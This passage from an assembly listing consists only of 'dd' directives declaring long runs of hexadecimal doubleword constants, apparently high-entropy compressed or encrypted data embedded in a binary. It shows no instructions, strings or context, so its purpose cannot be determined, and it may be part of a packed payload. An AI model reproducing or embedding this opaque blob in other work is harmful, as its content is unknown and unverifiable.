12C19FEEh, 0C6D84D87h, 3C00D660h, 0AF66D449h dd 6094BC7Fh, 507119BFh, 0EF60AA2Ch, 0ADFD6711h, 187398A0h dd 0E0F8D14Eh, 0BA00FBBEh, 0B781DC3Ch, 1D0A6C52h, 824CE12Dh dd 0D2734EBCh, 5D051040h, 84D33401h, 0F32CD921h, 8FE024h dd 9CCD50A9h, 0BEE50291h, 83123Dh, 0F6FE370Bh, 0B7ECC1h dd 6469D054h, 0A1B7AA8h, 64C64Ch, 0AA241850h, 0FABAEB52h dd 8BC70032h, 0B0B4D55Dh, 0ED0E4909h, 9E93DE0Bh, 0BD8207C1h dd 0B9708D2Ch, 2BAA3BB0h dd 0F3DF7F80h, 73B9FAB2h, 70F2E500h, 0F4F8C450h, 4A7590h dd 0FDF0C3E0h, 564F1CA6h, 2AFE3404h, 70806E3Fh, 7225A62h dd 0CE2CCFC0h, 0BCB4CFBAh, 6C28A701h, 20BBC660h, 0C075356Fh dd 1F23F400h, 0C806E9BCh, 252200B9h, 7B726473h, 6C007E7Ch dd 39AFE2D6h, 0B920BEh, 2E5B262Bh, 9D9FA334h, 0CB8CAC00h dd 776CEA06h, 0F22B07BAh, 0F05648DEh, 0AEA90DC7h, 15E8BF00h dd 0E02A07Bh, 9784000Ah, 0F2C1B682h, 7800F57Ch, 45019DDBh dd 0BEA4E1h, 53EBAFBFh, 340B6EAh, 572DC900h, 6204FEDBh dd 1E28009Dh, 862782A2h, 7B245113h, 0F10091D7h, 19CFE24h dd 708A00ECh, 170A8DBEh, 8178B190h, 0EA16380Eh, 0A3B78048h dd 0B896E2A2h, 2F722Bh, 0C1AACE95h, 8E3BA7BEh, 0FE89007h dd 5850237Ch, 2E0735h, 5B1BE788h, 0CAC19971h, 5E0364EAh dd 4452A04Ch, 338BB0E1h, 0D5CB000Ah, 31B6981Fh, 0FC73C468h dd 705B438h, 366DD00Dh, 0C6D63C40h, 52E1032Fh, 64C303F4h dd 47B1C09Ch, 8603C875h, 90CFD18h, 83B3B04Bh, 15630072h dd 408A208Dh, 2D00C77Bh, 0A7AAF9B4h, 0C3A55718h, 0CB6794B8h dd 0D24DDCB0h, 0E7F1C0Eh, 0FE7800DFh, 5A54ACh, 9E450A39h dd 0C91F170Bh, 7E062200h, 1A08CB8Fh, 3367E697h, 1251E8D2h dd 707E9804h, 0FE407646h, 614A0931h, 150A8A00h, 6CE5B534h dd 0FF9203E9h, 41DE19B9h, 0C30C67D0h, 38911A00h, 60368E45h dd 0C58A0705h, 20899E72h, 28CCCF0Dh, 6C311500h, 2BEFD532h dd 72C4071Bh, 80037046h, 0DF40D80Bh, 0B8693C1Eh, 0B33498F9h dd 3F3BC88h, 589D8177h, 0F9C0167Ch, 0F07A332Bh, 27C7F200h dd 0D71DEB78h, 0EAE50048h, 0D160EE06h, 573734Bh, 30017EAh dd 84E3D614h, 98E58B26h, 3DC13B6Bh, 244F6F2h, 772F900Fh dd 1860346Ch, 450F1AAEh, 0A09310F8h, 0FF19627Ch, 0C9950085h dd 9E068478h, 0AE39822Ah, 8DE91C1Fh, 41350880h, 0F6CF11C8h dd 0C40F3C1Ch, 4B2DC300h, 0A310A606h, 1007378h, 300E297Bh dd 0F2BA20h, 0EB663BB5h, 0FEDF09B3h, 0E72DE81Eh, 0D549C003h dd 0F645C822h, 0A3CA16BCh, 275BC33h, 0D3177656h, 0A1CE4058h dd 746E3DA4h, 0C52B0480h, 0E3E9AF97h, 622C3Dh, 0D93926A3h dd 3996D62Dh, 1080FFC9h, 0E4B759A5h, 1C00873Eh, 4B7286AEh dd 56F93Ch, 89240591h, 0A4CF3E1h, 9A3B54F2h, 361FB0E5h dd 7ECB6BA2h, 9F530063h, 1439EC87h, 3850AD76h, 0AF383788h dd 287200BBh, 2CDD26E8h, 7E5500A7h, 0E3276606h, 8400D917h dd 0F7DC12FCh, 0F60F7746h, 0EEBF71ADh, 12C9EAB1h, 472E63F1h dd 50A05C50h, 9BAA82D3h, 12A42700h, 68328155h, 0F78700EAh dd 98CA3E96h, 31001A88h, 0CF45EECDh, 229DA7h, 28DE1151h dd 0D2AB17F3h, 0C25FA000h, 5CD8538Dh, 703378DBh, 5BD4002Bh dd 0E952AB96h, 0E2008579h, 87E0A114h, 190DE79Fh, 90895F46h dd 1FC02068h, 0D883E907h, 6D7069D4h, 0C854E7h, 6BA1F744h dd 0A93D94B7h, 0A2CCF401h, 48EE9C61h, 49A4E0h, 42ABF2CDh dd 8254CAB0h, 0BF841238h, 0F043932h, 20286159h, 0D2DFCD30h dd 6E680EFBh, 4FC20EA0h, 0E0818DB5h, 0F4021C70h, 0B7000729h dd 8AEBCD7h, 3538B36h, 0EAA5248Dh, 72D83D85h, 0E81E8819h dd 0B440DA9Ch, 8B0B37BAh, 332F0281h, 0B946D62Eh, 0BE3CE448h dd 0F244F700h, 0FB09FF0h, 82F50054h, 0ABB2532Ch, 7F00AEB5h dd 7BFF884h, 7C0FA45Ah, 0A5AD00CFh, 3D932B8h, 6B002B6Ch dd 8EE3FFEDh, 1FCD255Ah, 0B3C454Dh, 6580A412h, 4B785DC2h dd 8FF28590h, 81CCE400h, 6F177144h, 0AE3A004Fh, 2CF52BD6h dd 8060F8C0h, 0BB627DD8h, 0C314992h, 0A7643600h, 0C330F76Eh dd 40035A7Ch, 39935DA9h, 0C0C00A6h, 0FF32519Bh, 20266B23h dd 3D004202h, 690EA7E9h, 17814876h, 83F67902h, 0AA813090h dd 0C02E31F4h, 0A60036B6h, 8C7AB849h, 2D187BBh, 21613476h dd 0D9809EEAh, 7D42AC80h, 7703D375h, 336C62B5h, 0D6B1E75Ch dd 0CCD89F64h, 0AE8C28CEh, 3ED91CA0h, 4F6AC0EBh, 667B3AE5h dd 527E2C72h, 0F9EDC700h, 0F78908FCh, 0A6E600D8h, 0A1FD647Bh dd 0B139012Bh, 4D2770FFh, 652680A9h, 1A392DD6h, 1C1E7ABDh dd 4DB44868h, 37854400h, 0A6011245h, 29C80458h, 0CF997DF6h dd 303EA200h, 0DF042466h, 98CB6F22h, 724D7C80h, 88C4072Ch dd 71687BECh, 0F00A0F91h, 3092224Eh, 56C5A001h, 0FF585ED8h dd 40AE30h, 54FC2D63h, 0BA640C61h, 0E0CD1024h, 0B37A7500h dd 0C0CC6907h, 0E163E610h, 0E72E893h, 4EB5F100h, 0CFAD7E94h dd 25BD0066h, 26356F86h, 0F6480E33h, 367900B4h, 30811AACh dd 491E0014h, 10E034CCh, 983B5202h, 9120E7CAh, 1370B500h dd 40010F31h, 40F253F4h, 9E64F544h, 0E52D0405h, 167DF0C1h dd 289055h, 0F850D54h, 0C3000A11h, 96F2DDFCh, 539F12h dd 469C0B45h, 6D3CC448h, 0A5BDE900h, 0C6DE2149h, 0A27D5Bh dd 0DC51A613h, 0B2306E28h, 0E3423613h, 0A91C0Bh, 0A926090h dd 847A25h, 2FB71017h, 5723D96Ah, 0DE805960h, 1C386753h dd 4089A8EEh, 15CF994Dh, 0DF00BF21h, 179B2FE5h, 8737E3h dd 0D2AAF3A2h, 0B7F80366h, 0E99A9C1Ch, 52D94300h, 0DCC29Dh dd 4FE48D51h, 3E1C4E79h, 64FB2C0Eh, 65FD2777h, 67CADC90h dd 0D0140392h, 1174BD47h, 7394DED0h, 0AD410205h, 9C00A27Eh dd 0BE4F29D0h, 98EA60h, 3D6E4875h, 0B29B5928h, 0AA7D800h dd 0C80A099h, 88123BE0h, 4D4B9E00h, 59A30DCAh, 0F1F55801h dd 0A93E7FA2h, 0FFC5D8h, 762DD00Ch, 9CD6384Eh, 0EE4C5200h dd 282C0ACFh, 393E00B0h, 1C0CB6EFh, 8075682h, 3C019F76h dd 2AB1Fh, 657B115Ch, 3007072Fh, 20BBB8C4h, 0FB918144h dd 3C52D101h, 0CD8939E3h, 9012D0h, 8D0ADFB1h, 9AE1F16Ah dd 0FE1CF872h, 0A7812AF5h, 25C09876h, 1137CECh, 2CA42D9Fh dd 304CFFDEh, 4800636Ch, 870974F7h, 583CE4FDh, 7B00005Dh dd 0C62F517Ah, 772847E2h, 8000F7B4h, 1411E3ABh, 0E4C573h dd 5D2F9EC9h, 479BFAEAh, 0A023F214h, 8CF128Eh, 4957080h dd 0EB4A0011h, 47FDED0Ah, 6D00ACC9h, 0AB2D89D2h, 0E37FC1Dh dd 70B4D7F3h, 7357DB60h, 0BC002AC8h, 4CC8A6Eh, 1D09CDF8h dd 4058E771h, 0D5934CE0h, 7C0EDD98h, 0ED13CB9h, 0C543207Dh dd 72BED78Eh, 4D740E72h, 37EF11h, 645ADB47h, 7000062Ah dd 0DF94CBA9h, 0C98A30h, 2D7B3448h, 951C6AB2h, 9183D500h dd 0FC8D43Fh, 0A9C31C71h, 0AEA6E2h, 449EF14Bh, 1A00174Ah dd 0F0439F05h, 504D5F36h, 0F259A23h, 20BC4130h, 7439B240h dd 77005013h, 26D744B7h, 0D52D58h, 0F90B7362h, 8A814AF2h dd 47DE5407h, 4B40039Ch, 64D07Bh, 387DD146h, 5EDF289Ah dd 0CA82EC00h, 336576BDh, 0EEE31385h, 7D8C001Ch, 219F1A14h dd 52CDC600h, 87793534h, 0A3DD00B9h, 0D12EBDF9h, 490ECA6h dd 8DC0FC02h, 608E37BCh, 45ACC8h, 0AF1A67F1h, 8F8530C3h dd 8634660Fh, 8A35609Ah, 7996A96h, 98659C22h, 7364621Dh dd 41240C87h, 82149A6Fh, 0FCE2D408h, 215060EEh, 0BDA90606h dd 766376BBh, 0C3B470C0h, 3300CF5h, 0DDEDCC7Ah, 42E02F39h dd 180554A1h, 4876B6BBh, 0BEBA1802h, 7B7868F5h, 521630C1h dd 0FB4EF109h, 94255301h, 9360C06Ah, 0B66F1800h, 0F284B200h dd 0CB015B22h, 7E210A4Bh, 0F46069h, 537A92E7h, 14500216h dd 20790A84h, 17897700h dd 0ECEDCF9Ah, 4C2E5059h, 95F518F4h, 7B48787Fh, 0D7B3870Ch dd 27799F2h, 0E622C067h, 5AC3AEA9h, 3618ADA0h, 1001DCBAh dd 3015326Ah, 0D3D43CA5h, 71D0B67h, 0B0E3FABh, 0BF0DADE0h dd 760A88FAh, 0CB33319Ch, 0F992A700h, 0E2F41396h, 0E4100990h dd 4709A44Dh, 3B5A208h, 4E2CCF47h, 0AE3EBC0h, 103C04F0h dd 3823016Ch, 5F803F4Ch, 1F1108Ch, 63061FB0h, 0FAC2EE42h dd 5B742020h, 443BB888h, 62B22F0Ch, 906E119Ah, 20AB0193h dd 1936A9BEh, 940898B6h, 2A35921h, 0ADF62348h, 0C0D5CD62h dd 54C33111h, 4019007h, 787C66F5h, 2D17C302h, 3A7BF680h dd 61CD9500h, 18E0C569h, 3DE438h, 0EF572D54h, 0DDA69B84h dd 6DC78D09h, 1B582135h, 0BCC0214Fh, 89520C51h, 260859BAh dd 46F421C1h, 22C0D321h, 3B1D018Bh, 0BC74FAC3h, 0E8B18F9Bh dd 97B60658h, 6B1F0C11h, 0A428257Eh, 604B114h, 2F430588h dd 84305C18h, 23AD48CFh, 9211CE20h, 48B15700h, 2482D4B2h dd 2C8E6B5Ch, 84005662h, 0FEF22F7Ch, 9B3406EBh, 7013658Ah dd 0D174F026h, 60D50Eh, 0FCE333B0h, 3E6D00D0h, 0F0481CAh dd 220EE1A0h, 80E81A96h, 0FCA4B77Bh, 770F880h, 36BE62Dh dd 9A1EF008h, 107AAE5Fh, 1D004A74h, 11A08E92h, 1D862C9Bh dd 25E048Fh, 0D92B0593h, 99711340h, 991EA14h, 8CA2114h dd 0D8880643h, 0AC82BF70h, 0EE2C9AECh, 109E8913h, 28837402h dd 2921AB2Fh, 9CA30892h, 19924090h, 10F629FAh, 48E89F90h dd 0FB00A9A5h, 814613C4h, 730EA7E0h, 419AF722h, 2A0B38DDh dd 0E1956C0h, 0CCF54A43h, 13F43AA0h, 86013EEDh, 49F7F369h dd 0A1C0AEBCh, 0EE410034h, 1FB9D864h, 5C64D1C8h, 3280C558h dd 0E4F7123Eh, 0CE33000Bh, 2736BF6Bh, 3500A2B1h, 21C34C4h dd 9769B025h, 0A5004BF8h, 46928CEFh, 0AFD88A7h, 729160E9h dd 0B41D00C0h, 0E0119A2Ah, 0BAEFA300h, 0CBDFDE78h, 0F6D90EEh dd 1C45312Ch, 95823F00h, 64006DF5h, 6EBB9201h, 24F9EAFh dd 0B86A2DDFh, 0FD801A2Eh, 0BFB54619h, 5F577706h, 2A680DB7h dd 68169Ah, 0AC359640h, 32B4125Dh, 926BD000h, 589D516Dh dd 0A88700CBh, 0C26550C0h, 37FEE334h, 0A797C100h, 0DF256C38h dd 0A09803h, 1C0850FFh, 63C1B275h, 0CA83521Fh, 0C0D6568Eh dd 9EF6F5A7h, 0A85E0093h, 0FCB22EB0h, 0D009729h, 8B0A3E2Ah dd 45E1C5h, 0D7CB4BBFh, 3172B714h, 0B6522F0Fh, 0ECDA2058h dd 54F74B5h, 6D262E88h, 9900EF7Eh, 7FAE39CBh, 0A213486Bh dd 5DAA170Bh, 0BF80EB80h, 6C0B73ABh, 80EF3F78h, 0E822B221h dd 45F46Bh, 0A51F7CFh, 9E6A41BAh, 99F0CA00h, 0E1A5085Fh dd 485E04ADh, 0C0ABCD2Dh, 0B9DE844h, 0B21ED900h, 0BB42733Fh dd 4156004Dh, 0BEC34769h, 68F87C01h, 81902300h, 0D0B7F951h dd 83AC0071h, 454BA2E5h, 70008FE7h, 3278E4A8h, 563A96h dd 0E3ED4C42h, 0ADE0E85h, 17557100h, 2BBADC91h, 135C0163h dd 606A9DDBh, 0C4C8710Fh, 1600E193h, 22284056h, 7A505ECh dd 38F3FB4Ch, 805B77B1h, 36C99B5Ah, 0CB8FBB00h, 55BA09FAh dd 0F8FF1E6Bh, 0E8AE80C3h, 9A75D91Fh, 34400A2Ch, 41224400h dd 605A2Ah, 77C3B7C6h, 8A9FF70Fh, 0DEE6E200h, 0CD6774FBh dd 0D4A0C7E5h, 3A8880EBh, 0FC1F4330h, 5F010B2Dh, 0DABE829Bh dd 12E1C4h, 8DC2B94Ah, 6E4D682Ch, 1A004FFCh, 58A6AA23h dd 65CE1Ch, 202927FCh, 99B478Eh, 0DBBB3000h, 210E8AA2h dd 0ACC11E92h, 0CC07002Fh, 82FFB7D1h, 1A0B8900h, 0B237434Ch dd 8C790069h, 0D8E0CCD2h, 0EFFE6EECh, 0F746470Eh, 17E4800Dh dd 771D786h, 30619E2Bh, 0C66850E6h, 0DD1F4B58h, 2140C4B9h dd 0E59CE395h, 3070EAAh, 64203E44h, 9E503010h, 558F4500h dd 0A8D15F84h, 37A76DEh, 4B524D97h, 0CAF8F46Dh, 0F1E8EF80h dd 5E229A00h, 70C583ADh, 1F7F0210h, 8E952657h, 80F5A884h dd 39F3BB70h, 89A8E650h, 0DF620907h, 0D720B1DAh, 79AB06Dh dd 2093682Ah, 47DD3E2Bh, 2B731A92h, 4986600h, 0FD7B68F0h dd 824D2300h, 2A5896A4h, 77CB009Eh, 0E33C10DBh, 0A60FD4EAh dd 0C02501CAh, 9DD8AE4h, 8D9B3A2Bh, 32933300h, 52A8D5C0h dd 0F55AD600h, 0DAD37D17h, 0F2DF004Eh, 0C55B0293h, 0A9026C08h dd 0CCA421ABh, 6E4BC0FDh, 32403C69h, 0C0301F1Eh, 9014C4B0h dd 0F2005BD6h, 8BA137F6h, 4038773h, 33284632h, 7291806Fh dd 0C3F2117Dh, 0ED10BF00h, 4E8DD915h, 0A5E00B0h, 0BB820D38h dd 6F008CCFh, 0CEB26F7h, 461CD6h, 8F3A6936h, 30378E91h dd 1D64B0C0h, 1E672821h, 0C02785E4h, 94E356EFh, 8200BEC4h dd 0F5D3D157h, 0E975E07h, 0E89DD65Fh, 0C87A38E0h, 0F9EA69B1h dd 0BFEF253Fh, 5D890040h, 9F48E442h, 5E280007h, 7A35E663h dd 0EB0D374h, 1F605B05h, 0E040C07Dh, 8A1AB53Dh, 3AC2788Dh dd 1B00B8F5h, 89A1D947h, 4F8B6A3h, 9718F762h, 81E78056h dd 3C79C63h, 0B7A3FC41h, 0F3B8DBC8h, 0A800A726h, 8031EA85h dd 0D70C71h, 579E2E3Fh, 589095F8h, 0AD335B1Fh, 0CC53A101h dd 8120FBEAh, 0A8E700EEh, 0C4CF0181h, 0B15823A2h, 350076BBh dd 90E68025h, 0E8075347h, 306A177Eh, 0CCCE0044h, 0E4C797DEh dd 73D8AD04h, 0FC8882CAh, 5A77D7h, 0FE1DD2A1h, 9BBDDDA4h dd 0EDF13300h, 0AABCD18Ah, 24C3B1Bh, 0A7BBB180h, 1D4A836Eh dd 81F21901h, 2C52C116h, 0C0CC55C9h, 2DBA00C7h, 0D1D73BBBh dd 0B7D464h, 75787A85h, 0EC6CF48Ch, 615B0026h, 526887C9h dd 7900181Ch, 0E0B781ABh, 0AAE344h, 297C789Eh, 0A1B620EAh dd 7192F200h, 4B244572h, 1CA200C2h, 63FA6553h, 0AB0037C6h dd 0D41D57C9h, 3C320Dh, 2BAC127Dh, 727A8CF3h, 100E098h dd 64C6D43Fh, 98C841CBh, 407600E5h, 910862F3h, 0C0003057h dd 17710DCAh, 31A738h, 5B9F2B72h, 9E6F9B43h, 9AFBD750h dd 5833F207h, 0E0621A9Ch, 0B06848B4h, 25CA004Eh, 0C82F9E3Ch dd 52001B19h, 8882C76h, 9336F8Fh, 6A7BF541h, 0ECFB5080h dd 5A143489h, 0F66531h, 0A8773954h, 386D0BB4h, 801E6055h dd 65A63A96h, 0B8A10044h, 0C61AAA0Fh, 5CC1F600h, 57FF5F3Dh dd 581F03F0h, 8E229944h, 4AB3F3D8h, 65BC1904h, 34C01325h dd 128F47A1h, 9CF605h, 960ED9ECh, 3900B109h, 26FBBF3h dd 3CE67E4h, 76BE22DAh, 43B89B46h, 3500F134h, 510C8EADh dd 911E81h, 0C87F3912h, 0DA9638F7h, 0F4DBFE13h, 5CF8001h dd 1C1036E8h, 4E01F11Dh, 0E2BB1574h, 9EF08FC5h, 0E99F3B82h dd 0A3BA668Fh, 6CA2B600h, 0BE26EAB2h, 0A04F6DFh, 0AC80DB2Ch dd 0B8B0A53Eh, 0E3050CBFh, 38196623h, 3463F700h, 298B7B46h dd 0A758124Bh, 0AC940068h, 0CEB9B0D8h, 6291C9A0h, 19729A30h dd 4729B2h, 420D0B4Ah, 0A7B6D36Ah, 78F81001h, 610805E3h dd 0F40430h, 0D9E9CE06h, 0B50BB0E5h, 20174500h, 5C7822C9h dd 32B600DEh, 9261AF7Eh, 7B09FD75h, 0F09B24h, 0B5F8B3C3h dd 2CE716Dh, 96AEBCABh, 1CE0E16Fh, 0E7E8D071h, 0CDF64400h dd 0F8342D30h, 40C31D31h, 0C179C0ADh, 0D18923F0h, 0F1C45500h dd 186FF92Eh, 0DBF8F36Ch, 4BE601CCh, 6DA25783h, 0D1E02115h dd 0F038CCEBh, 82A9400h, 75B2625Eh, 0B30A0078h, 3FAC9884h dd 0CD3CCB53h, 79918577h, 70CC9423h, 0E182A018h, 0C9C73A65h dd 73FBD080h, 537A2CC3h, 4AAA9600h, 4433EE9h, 94D60049h dd 0DA151F44h, 210074EAh dd 0E8EA639h, 265DC76Dh, 31DE4D4h, 0CAA93875h, 0A435000h dd 7B629FA2h, 778B0084h, 2C0B065Ah, 65502E47h, 6F001BBCh dd 616D0305h, 0A1DB0h, 0B77C3CDBh, 4FCFC159h, 7398D000h dd 0C26CE077h, 28F900AAh, 0BFFB1309h, 0CF00EC1Ch, 0B170148Bh dd 302E29h, 0B20C64B6h, 0F7ADEDD1h, 6FFA5700h, 8514205Ch dd 5CB56082h, 0FE967A06h, 0CB0F3A24h, 2303A100h, 22239C4h dd 933F2EB5h, 0C4C42457h, 871DA1F2h, 448007FAh, 0B771BF74h dd 61A0C0C9h, 0A677E44Eh, 7C9C8A18h, 0C02BF72h, 587FE72Ch dd 8E5FBE8h, 9C0D40D0h, 791097E2h, 201DE5Eh, 72DD607Eh dd 80D4D794h, 0CBADB7DCh, 0E6372E00h, 63B8B38Eh, 52560059h dd 0F012CC34h, 2730551Ah, 707568C6h, 0EBE000B4h, 56573D68h dd 0E3008E7Ah, 1813B11Dh, 9D3F099h, 0E1374B9Eh, 0BE89AC00h dd 46001975h, 9DC5D639h, 7243831Ah, 0EA99007Bh, 5DBCA9E1h dd 0C03A33Fh, 0FEDB048Dh, 0C9AEA079h, 21393899h, 5A1C9180h dd 6198B033h, 0AB53ECFFh, 1A5BCD00h, 5170FE84h, 552239A5h dd 9A684A80h, 0D86B5C87h, 35075400h, 3EC3EC33h, 1E4B3CA7h dd 81CE7E01h, 60AA0111h, 0AC4C2E07h, 0C33A1820h, 1C42EFE8h dd 0F864Bh, 0FE29676Eh, 4400E382h, 612FA427h, 0AC61Dh dd 0F958DA22h, 9B7AD9C0h, 0BA28E300h, 0D47E1A74h, 0A9F03961h dd 763316F9h, 0DF9C0ED8h, 8089C7A7h, 0BE6E03E2h, 70F51426h dd 0C029688Eh, 90CD0D97h, 0ED4D1721h, 0B0180049h, 463A02F7h dd 0A200C0A4h, 0D62C6CE9h, 982955h, 8805F4D0h, 8D618FACh dd 6F0E5800h, 53BADB67h, 11DE6EBh, 22AE9981h, 702E8D93h dd 72072B7Ch, 4ED4EE16h, 3EF2B7E0h, 0BA134C01h, 44F77C00h dd 0A872A1B3h, 67F67A00h, 0D6F3EF6Eh, 0D1E2E3h, 0C7F836AFh dd 12588170h, 0D5748800h, 0EECC637Ah, 8FB200E2h, 523F24BEh dd 60716DDCh, 0C3BFC600h, 5FDF7B1Fh, 4F2F838h, 16505569h dd 29958089h, 371F5327h, 0EB81D9CCh, 0D2CDA8Ah, 484ED0h dd 66F4A31Eh, 0F50BBAD6h, 0E01BC803h, 9FD06DE1h, 0AF82BC00h dd 928D00E6h, 70620308h, 5D057CE8h, 0A51A390Ch, 83D0F287h dd 1E1EB8BBh, 0DC38D843h, 7436C550h, 77708749h, 258DF059h dd 220EA440h, 606134CEh, 2C0112E0h, 0BC8449EEh, 0B2DC920Bh dd 0E9839E01h, 59B420E3h, 1402D977h, 0F400EF6h, 0D1C880E0h dd 0E68BD641h, 7FFC00F9h, 36E3A6D4h, 0FE603C96h, 55DD97E0h dd 4440903h, 0D0008B39h, 0DE233DF6h, 457CB202h, 583AD622h dd 345CC1C0h, 72AC4BC4h, 0EEF100C4h, 0E1A3D097h, 77537710h dd 4AE044h, 0BCBD48AFh, 26CEF8F4h, 5DF7590Ch, 3CA6218h dd 0C86D8789h, 6EC00494h, 150158FBh, 0BAE1A9DBh, 0BCD0222Bh dd 368E44Ah, 0A8E0D27Bh, 3BA04748h, 0E5008D8Bh, 73B9D9D3h dd 9A9199h, 127C3E03h, 0D411290Ch, 6BA7981Dh, 2C4B9B00h dd 3E658B93h, 98D0EAA9h, 290B00CFh, 0C6C424C8h, 0A8004777h dd 0BE51380Fh, 95A76Dh, 6FF33643h, 52E160DCh, 0F4059F70h dd 619762B1h, 8EDA9400h, 7AAAD0h, 0DDDB0830h, 0CD5094FBh dd 0F0FAF726h, 5D880901h, 0AB702BE4h, 9AAC1376h, 16C1367h dd 3BD4E981h, 2CF3E091h, 1700F57Eh, 0E6E1413h, 6040B4h dd 0BF153120h, 812F8F45h, 4B00187Eh, 61DDA774h, 439D3Bh dd 0FE90BA9Fh, 229A2DBFh, 921D2E09h, 2F06EC4h, 0C5F9B068h dd 9DE0936Bh, 0C70EC8DDh, 49A50C99h, 4658202Bh, 0B8775915h dd 0FCB29099h, 0C8965892h, 0D2BB1F00h, 0F4CA4C2h, 7C692D03h dd 0E8D7ABB4h, 42AAE35h, 0CDA255BCh, 0A38802Ch, 2E3268F8h dd 71E9F060h, 0F06A00D8h, 2D61197h, 27072A77h, 0F3F2CBC8h dd 60EBF472h, 4039C4Ch, 89A52FDBh, 0C8580BDh, 5EFC145Bh dd 0A9B2FE0Fh, 0DA2CC38Fh, 0ACA1C9CFh, 0A2F0F0h, 0D24B2DEFh dd 0B839B40h, 4FF80600h, 415F66D6h, 572500C9h, 0D5380DF0h dd 17CA1ABh, 5D71BEEEh, 76CC9D00h, 7FF631DAh, 0D2520716h dd 0A07947CFh, 7BF8C1C6h, 70B8A476h, 794A8C5Ch, 0B549F501h dd 9AECCEAFh, 0E7EBF440h, 0F9976060h, 0A0D5C16Fh, 1FA64E04h dd 0E8E430CEh, 0FAA707E0h, 103C7CF8h, 581B29D5h, 7D001877h dd 705F5354h, 735E28Bh, 6C47A977h, 0ABA321B6h, 3AF44037h dd 0E49C67C1h, 0FACCA072h, 3B0E666Bh, 202A483h, 7FB4A720h dd 18D59BE0h, 71F07204h, 99C07E82h, 1DB05D6h, 0DAFDEDADh dd 0E4B7A94Bh, 7100030Bh, 5E9F176Ah, 0F4849Eh, 13EB2109h dd 0CA992A0h, 0E275CC71h, 0B782E0C0h, 0B492Dh, 0A490EC17h dd 0F46D4CC5h, 0C1EB3E16h, 7D2FC107h, 0FCA718F0h, 0E215000Bh dd 26F2DFE5h, 0AA075D6Ah, 67908120h, 0FD7E8510h, 95E60EC7h dd 22C02FD8h, 0D1C1EE65h, 9D759A13h, 7C664C5Fh, 0AC8015Bh dd 53E9AFE4h, 0B7C06F21h, 86D925h, 0FBBAC411h, 95052EEBh dd 75AC9400h, 19A41B0Dh, 918000D1h, 731F464h, 0A60078EFh dd 2CBEC976h, 427EB4h, 0E9B2DADFh, 0FE97C841h, 64613817h dd 0ED53585Fh, 8D80C487h, 310C2EBh, 9BDCBF63h, 1807596Dh dd 5484A7EDh, 9E70141h, 0F9E51841h, 9FE92440h, 0EF871D84h dd 2356007Fh, 64C5A80Eh, 61690500h, 3746B2E7h, 0ED921845h dd 24E255FCh, 421464F1h, 9AFEB3Dh, 215E2345h, 7E388B48h dd 68C52180h, 0EDB1EF91h, 4BDDCB0Dh, 0E3FC3067h, 0FB64019Fh dd 0FEDABEBCh, 402AFD42h, 5E21432Ch, 8798E962h, 0E771C14Fh dd 9B4830h, 0F91CFA4Dh, 69C5A142h, 0B1655E00h, 7F35FB67h dd 31B80056h, 0B582ADD9h, 87016DBFh, 7A20B2F9h, 8260C737h dd 1E7B01C4h, 0FFB06624h, 21E0CFC6h, 0E20F5594h, 407882h dd 0D36E8317h, 11D105B3h, 0C07593CDh, 0A155BA21h, 22BCF800h dd 58D95F20h, 0FBE90677h, 0C17D4861h, 35048CE4h, 7EACEAE8h dd 32977CC0h, 51BCA880h, 2C9E49FEh, 40CE4013h, 9C6FBCD8h dd 3B0172A0h, 0F1DFF0B2h, 0E4EC1F52h, 1D583B19h, 8866FC8Fh dd 427246A1h, 0E283DCDCh, 0EA6E271Bh, 437B8178h, 0B2C0D0h dd 0C103E7B9h, 0B8E02FBEh, 95388500h, 6EED8190h, 652C011Ah dd 79E1A63Fh, 8E55C411h, 0E44D6629h, 0F4DD0100h, 0C7C210h dd 90E22E46h, 6ED2D4AAh, 850EC9DDh, 82B3A061h, 0F9CF3E1h dd 0EFCE54Fh, 523504C0h, 321F5FF7h, 0D50065BFh, 0D2E243B8h dd 6E1D2467h, 0BA1C8048h, 0BF3B74FEh, 0AD00AA73h, 0A0D3EE19h dd 13F0EB5Bh, 61EC67h, 8C54BBC3h, 27020D72h, 0D5B8DE0Ch dd 0BE93402Dh, 0FCEDF897h, 8CF233h, 0C7DFBF41h, 5EE830FCh dd 543CD8ECh, 0F277068Fh, 30BBF6h, 49B5B621h, 8C6FEBEFh dd 5D96941Ch, 0BF1073C5h, 0D6880BAh, 7930FE48h, 0AADF11B6h dd 582DF2CFh, 40199CD5h, 80C8086Dh, 0D082F421h, 6525F0Ch dd 5633CC38h, 4900903Ch, 0DAECA60h, 1CB5E6A9h, 0C0E5A5DDh dd 2CB035AAh, 750776EAh, 0E78C729Ah, 0C88888D6h, 83C0FB80h dd 212DFDD0h, 99130BDh, 0CFBBF502h, 8FC0436Ah, 9713E937h dd 9C06BA23h, 66089BEh, 501041F3h, 2D019991h, 0BA8673C4h dd 0DDCD4C8h, 60D37B55h, 0CD4A213Fh, 8E01BE73h, 0A6E84B12h dd 0A840B7AFh, 0FA2CC0FBh, 10E06003h, 1E487F0Eh, 0A0B85301h dd 0C1085929h, 2B140ABBh, 9C00B446h, 44D2E51Fh, 9F003B48h dd 5FA713C1h, 1863A68h, 0E38A0CEAh, 0D41E3147h, 8803F31Bh dd 0DA3D6CEEh, 0C414A072h, 744000E7h, 31A82715h, 3C00E687h dd 0AF040218h, 385D5E2Bh dd 0D080ADF2h, 1939130h, 110EEEA2h, 2012898Ah, 273F76B1h dd 1C78792Dh, 80911845h, 0D2F9AA04h, 33F4FE5Dh, 7F21EC00h dd 0EEFFBB90h, 0A7A90402h, 0EE363ADBh, 0E88B6483h, 18C3E5F7h dd 20055940h, 5CCE6FEFh, 0EC8E80D4h, 71BC572h, 89011246h dd 5FD37004h, 3AF0EEF8h, 40FE9330h, 40BBE94Ah, 310058B7h dd 57A9091Ah, 3ACC717Dh, 0B8006818h, 0DB189BAh, 0EB6041C0h dd 9B106F91h, 0DF600129h, 17FA55F6h, 24880C2h, 0CF428B5Bh dd 2320C0CDh, 5891461Eh, 8EF82600h, 1DED3E61h, 0B52C0083h dd 6B29B7EFh, 0C30EE416h, 4F4DC0D0h, 0C077CE60h, 0F0011D5Eh dd 77900A5h, 9156DAD5h, 49002EC7h, 0E35B5D51h, 1BB7DF5h dd 0F4A22B2Ch, 206F4C34h, 0F33A0161h, 0F9E40E27h, 44902035h dd 3CEDFDE5h, 70807EE6h, 0CE3D823Eh, 0EA006877h, 34FA9867h dd 70256E45h, 610300F5h, 7FFCE033h, 927F8FF8h, 0FF1AA300h dd 14E442Ch, 39371793h, 629006Fh, 0D47B9D7h, 1AE2DE00h dd 13499D1Fh, 36510E4Eh, 34253846h, 7D688022h, 9800CC55h 